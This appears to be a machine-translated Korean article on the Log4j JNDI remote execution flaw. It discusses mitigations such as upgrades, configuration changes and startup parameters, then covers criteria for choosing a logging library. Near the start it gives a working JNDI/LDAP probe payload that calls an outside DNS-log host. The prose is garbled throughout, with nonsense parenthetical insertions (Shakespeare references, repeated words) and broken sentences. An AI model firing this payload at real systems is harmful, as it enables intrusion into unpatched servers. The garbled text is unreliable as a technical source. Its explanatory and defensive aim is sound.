Log4j 원격 실행 취약점으로 시작

"subdomain.dnslog.cn" 인 경우 먼저 dnslog 웹 사이트에 가서 하위 도메인을 신청하십시오.

그런 다음 Java main $ {JNDI: LDAP://subdomain.dnslog.cn/any} 를 실행하면 DNS log 웹 사이트의 요청 레코드를 새로 고쳐 요청된 하위 도메인이 이미 액세스되었음을 알 수 있습니다.

만약 당신이 개발자라면, 당신은 우리의 코드가 의심할 여지 없이 이런 용법으로 가득 차 있다는 것을 알게 될 것이다. 당신이 안전인이라면 악의적인 방문객이 들어갈 때 도메인 이름만 방문하는 것이 불가능하며 호스트 비밀번호를 지정된 사이트에 전달할 가능성이 높다는 것을 자연스럽게 알고 있다. (윌리엄 셰익스피어, 햄릿, 믿음명언) (윌리엄 셰익스피어, 보안, 보안, 보안, 보안, 보안, 보안)

이 솔루션은 주요 제조업체, 보안 회사 등에서도 발표되었습니다. , 뿐만 아니라 다음 몇 가지:

먼저 WAF 나 방화벽 규칙을 말하지 마세요. 이 대기업은 할 수는 있지만 문제를 완전히 해결할 수는 없다.

JDK 업그레이드, logback 업그레이드, logback 으로 교체, log4j 의 JNDI 관련 클래스 제거 등을 클래스 라이브러리 업그레이드로 볼 수 있습니다. 한편, 이러한 시나리오는 한 번에 하나의 애플리케이션을 구현해야 하며 (한 번에 하나의 인스턴스를 처리해야 하는 경우도 있음), 이는 중복되며 막대한 투자가 필요합니다. 반면에 호환성 의심은 업그레이드 전에 일정한 회귀 테스트를 해야 한다. 다음은 몇 가지 호환성 예입니다. 예를 들어 slf4j 의 API 대신 log4j 구현 클래스를 코드에 작성할 때 logback 을 직접 사용하는 것은 비현실적입니다. 어떤 사람들은 코드 규범이 허용되지 않는다고 말할지 모르지만, 규범과 집행이 두 가지 관련이 있다는 것을 잊어버린다. 그러나 반드시 인과관계는 아니다. 예를 들어, 유지 보수만 하는 오래된 시스템들은 많은 사람들보다 더 오래 존재하고, 또 다른 시스템은 아웃소싱 업체의 개발 및 유지 보수이다. (윌리엄 셰익스피어, 윈스턴, 유지 관리, 유지 관리, 유지 관리, 유지 관리, 유지 관리) 이 상황은 안정이 무엇보다 중요하다는 것이다.

나머지는 모두 리모델링 구성이지만 몇 가지 차이점이 있습니다. 예를 들어 환경 변수는 운영 체제의 모든 응용 프로그램에 영향을 미칩니다. 응용 프로그램에 높은 JDK 버전이 있고 이 기능만 필요한 경우 버그를 쉽게 생성할 수 있습니다. PatternLayout 을 수정하면 쉽게 누락될 수 있습니다 (예: 일반적으로 자체적으로 적용되는 log4j 구성 파일). 하지만 내부 프레임워크가 캡슐화되어 jar 패키지에 구성되거나 코드에 구성될 수도 있습니다. Log4j2.component.properties 에 구성을 추가하고 PatternLayout 을 수정하는 것은 동일하며, 통합 구성 센터와 자동 수정 log4j 가 없는 한 빌드를 다시 패키징해야 합니다.

요약하면 개발자가 수정하고 재구성하는 것을 피해야 한다. 리셋만 하는 경우 환경 변수만 수정하거나 시작 매개 변수를 추가할 수 있습니다. 물론 모든 회사에는 자체 제도가 있으며, 때로는 대중에게 쓸모가 없는 것이 가장 간단하다. 예를 들어, 자동화되지 않은 회사 (특히 k8s) 가 시작 매개 변수, 인스턴스, 인스턴스의 작동을 변경하려고 하는 것은 정말 고통스럽다.

Log4j 의 개발자인 경우 제품 관리자가 "$ {"로 시작하고 "}" 로 끝나는 로그를 만나면 자동으로 교체해 드립니다. 이 요구를 해서는 안 되는데, 어떻게 해야 합니까?

신인으로서, 나는 할 것인지 묻지 않고, 어떻게 하고 싶을 뿐, 자연히 일치와 해석이다.

만약 내가 경험이 있다면, 나는 제품 매니저 (제품 매니저 이력이 낮거나 제품에 익숙하지 않을 때) 보다 더 적합한 방법으로 이 문제를 해결할 수 있는지 물어볼 것이다. 그런 다음 20 13 으로 거슬러 올라가는 log4j 의 제출 기록을 볼 수 있습니다. 커밋 레코드가 많으면 코드 위아래를 통해 수요를 추정할 수 있습니다. slf4j 와 같이 로그의 자리 표시자를 실제 값으로 교체하여 실제 값을 지연시키고 계산 출처를 확장할 수 있습니다.

코드에서 기존 확장에는 CTX (로그 이벤트의 컨텍스트), date (로그 이벤트 생성 시간), env (시스템 환경), jndi(JNDI 컨텍스트 가져오기), map, SD (구조화된 이벤트 유형에서 가져오기), sys 등이 있습니다

수요가 실현되었는데 다른 건 없나요?

만약 당신이 고급 R&D 직원이라면, 예상 사용 빈도가 있습니까? 사용 빈도가 높으면 성능이 느려지지 않도록 주의해야 합니다. 이 기능에 문제가 있으면 꺼야 합니다. 동적으로 끄는 것이 좋습니다. 이 특성이 실제로 몇 번이나 사용되었는지, 얼마나 많은 시간이 걸렸는지, 얼마나 많은 오류가 보고되었는지, 멀티스레드 환경에서 실행될 것인지, 그리고 이 코드가 스레드 안전한지 여부 사용자의 입력이 서버를 손상시킬 수 있는지, 저장 후 다른 사용자에게 보안 문제를 일으킬 수 있는지 여부.

성숙한 기업에서, 너는 이런 문제를 고려해야 한다. 물론, CI/CD 관행의 자동화 테스트 및 DevSecOps 와 같은 개발자의 마음을 줄일 수 있는 많은 것들이 템플릿화될 수 있습니다.

왜 이 영향이 이렇게 큰가요? 왜냐하면 그것은 기본 라이브러리이고 dubbo, Kafka, flink 등 많은 프레임워크와 미들웨어에서 사용되기 때문이다. 또한 log4j2 가 비교적 유용한 로그 라이브러리라는 것을 측면에서 알 수 있습니다.

기술 선택으로 돌아가 봅시다. 정기 간행물을 예로 들다. 어떤 방면에서 고려해야 합니까?

기능. 기능이 기업의 요구를 충족시키는지, 누락된 기능이 향후 계획되었는지, 확장 구현이 어려운지 여부. 기능이 만족스럽지 않으면 자연히 지나간다. Log4j, logback, log4j2 는 모두 로그 출력 기능을 제공하며 기능적으로 적합합니다. 구체적으로 각 기업 자체의 상황에 달려 있다.

성능. 성능은 자연히 중요하기 때문에 생산도 디버깅할 수 없다. 로그에는 하나의 트랜잭션만 추적할 수 있습니다. 로그에 시간이 너무 많이 걸리면 TPS 가 자연스럽게 영향을 받고 사용자 환경이 나빠지며 하드웨어 비용이 증가할 수 있습니다. Log4j2 는 logback 보다 성능이 우수하고 logback 은 log4j 보다 성능이 우수합니다.

대중의 기초와 사용 편의성. 아무도 사용하지 않으면 사용하기가 어렵고, 큰 확률이 받아들여지고 보급되기 어렵다. 문서가 스키마 설계 및 사용 문서를 소개하는지 여부, 문서가 여러 언어 (현지 언어) 를 지원하는지 여부 Log4j2 에는 많은 구성이 있습니다. 특히 더 높은 성능을 원할 경우 구성이 더 복잡합니다.

안정성과 활성. 생산상 반드시 안정되어야 하며, 3 차 5 차 간격으로 수리 업그레이드를 할 수는 없다. 기능이 예정대로 완전히 구현되지 않으면 반복 업그레이드 과정에서 많은 문제가 발생할 수 있으며 피드백을 이용하여 미리 개선해야 합니다. 문제가 발생하면 검색 엔진이나 다른 커뮤니티를 통해 해결할 수 있습니다.

오픈 소스 프로토콜. 오픈소스가 아니라면 사용할 때 많은 불안이 있을 수 있다. 만약 어디에 천둥이 있는지 모른다면, 스스로 해결할 확률이 매우 낮다. 예를 들어, MySQL 의 듀알 프로토콜은 유료이거나 오픈 소스 수정이 필요하며 아파치 라이센스만큼 느슨하지 않아 많은 회사들이 PostgreSQL 을 선택하게 됩니다.

생태학. 기업의 전반적인 틀과 상충되는지, 개발 과정에서 추가적인 일을 해야 하는지 여부. 예를 들어, 많은 프레임워크가 log4j2 를 사용하고 logback 을 성급하게 도입하면 log4j2 의존성을 제거하기 위해 더 많은 작업량이 생길 수 있습니다. 예를 들어 개발 프로세스 도구는 logback 만 지원하므로 (물론 이런 장면은 거의 없음) log4j2 를 사용할 때 신중히 고려해야 합니다.

아키텍처 설계 및 코드 품질 코드의 아키텍처 설계가 매우 나쁘고 확장성 설계가 좋지 않은 경우 코드는 기업 내에서 확장 (2 차 개발) 할 때만 수정할 수 있으며, 소스에서 분기하고, 후기에는 합병이 거의 불가능하며, 오픈 소스 커뮤니티를 반포할 수 없고, 기업 내 후속 업그레이드도 어렵다. 코드 품질이 너무 나빠서 한 걸음 한 걸음 한 걸음 한 걸음 모두 발로 직접 투표한다.

앞을 보다. 아키텍처 설계는 미래의 변화에 대처할 수 있도록 미래 지향적이어야 합니다. 기능건설도 예견이 있어야 하고, 실현, 검증, 온라인은 시간이 걸릴 것이다. 기다리는 것보다 지금 대부분의 사람들이 나를 원한다.